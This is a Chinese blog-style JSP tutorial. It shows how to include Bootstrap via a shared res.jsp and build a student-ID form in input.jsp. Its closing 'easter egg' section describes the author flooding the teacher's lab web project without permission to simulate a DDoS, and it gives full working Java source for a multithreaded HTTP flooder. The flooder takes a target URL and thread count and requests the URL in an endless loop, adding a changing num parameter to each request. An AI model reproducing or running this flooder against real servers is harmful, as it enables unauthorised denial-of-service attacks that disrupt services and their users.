先引入 bootstrap,为了防止每个网页都引入,单独把引入 bootstrap 写成一个网页,然后在其他网页中用 jsp:include 动态包含
- <!-- res.jsp -->
- <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
- <%
- String path = request.getContextPath();
- String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
- %>
- <link rel = "stylesheet" type = "text/css"
- href = "ReSources/bootstrap/css/bootstrap.min.css">
然后写 input.jsp 页面,注意第 19 行动态包含了 res.jsp 页面
- <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
- <%
- String path = request.getContextPath();
- String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
- %>
-
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
- <html>
- <head>
- <base href="<%=basePath%>">
-
- <title>My JSP 'input.jsp' starting page</title>
-
- <meta http-equiv="pragma" content="no-cache">
- <meta http-equiv="cache-control" content="no-cache">
- <meta http-equiv="expires" content="0">
- <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
- <meta http-equiv="description" content="This is my page">
- <jsp:include page = "../res.jsp"/>
- </head>
-
- <body class = "container">
- <div>
- <h3 class = "page-header">request.getPramater()的用法</h3>
- <form action = "" class = "form-horizontal">
- <div class = "form-group">
- <label class = "col-md-3 control-label">学号:</label>
- <div class = "col-md-5">
- <input type = "text" class = "form-control" placeholder="123456">
- </div>
- </div>
- <div class = "form-group">
- <label class = "col-md-3 control-label">姓名:</label>
- <div class = "col-md-5">
- <input type = "text" class = "form-control" placeholder="张三">
- </div>
- </div>
- <div class = "form-group">
- <div class = "col-md-offset-3 col-md-5">
- <button type = "submit" class = "btn btn-primary">提交</button>
- </div>
- </div>
- </form>
- </div>
- </body>
- </html>
彩蛋展开目录
其实上面的内容都不重要,老师在机房给我们上课的时候,我试了一下访问老师的 jsp 项目,居然成功了,我突然想到一个点子,利用 java 起很多线程去访问老师的 web 项目模拟 DDOS,结果不出意料的成功了,先附上代码,下面讲解一下这个代码
- import java.io.*;
- import java.net.*;
- import java.util.Scanner;
-
- public class DDOS implements Runnable {
- private static String strUrl = null;
- private static long numL = 0L;
- private static Scanner scanner = new Scanner(System.in);
-
- public void run() {
- HttpURLConnection connection = null;
- InputStream urlStream = null;
- URL url = null;
- while (true)
- try {
- url = new URL(strUrl + numL);
- connection = (HttpURLConnection) url.openConnection();
- connection.connect();
- urlStream = connection.getInputStream();
- if (urlStream != null) {
- numL += 1L;
- urlStream.close();
- System.out.print("\t" + numL);
- if (numL % 30L == 0L)
- System.out.println();
- }
- Thread.sleep(10L);
- } catch (InterruptedException e) {
- while (true) {
- e.getMessage();
- try {
- Thread.sleep(1000L);
- } catch (InterruptedException ie) {
- ie.printStackTrace();
- }
- }
- } catch (MalformedURLException e) {
- e.printStackTrace();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
-
- public static void main(String[] args) throws MalformedURLException {
- System.out.println("");
- int threadNum;
- while (true) {
- System.out.println("线程数:");
- threadNum = scanner.nextInt();
- System.out.println("网址:");
- String str = scanner.next();
- strUrl = str;
- if (str.indexOf("?") >= 0)
- strUrl += "&num=";
- else
- strUrl += "?num=";
- System.out.println("--------------------------------------");
- System.out.println("线程数:" + threadNum);
- System.out.println("地址:" + str);
- System.out.println("请再次确认(Y/N):");
- String tmp = scanner.next();
- if ("Y".equalsIgnoreCase(tmp))
- break;
- if ("N".equalsIgnoreCase(tmp))
- continue;
- System.out.println("输入错误,请重新输入(Y/N):");
- }
- for (int i = 0; i < threadNum; ++i) {
- DDOS at = new DDOS();
- Thread t = new Thread(at);
- t.start();
- }
- }
- }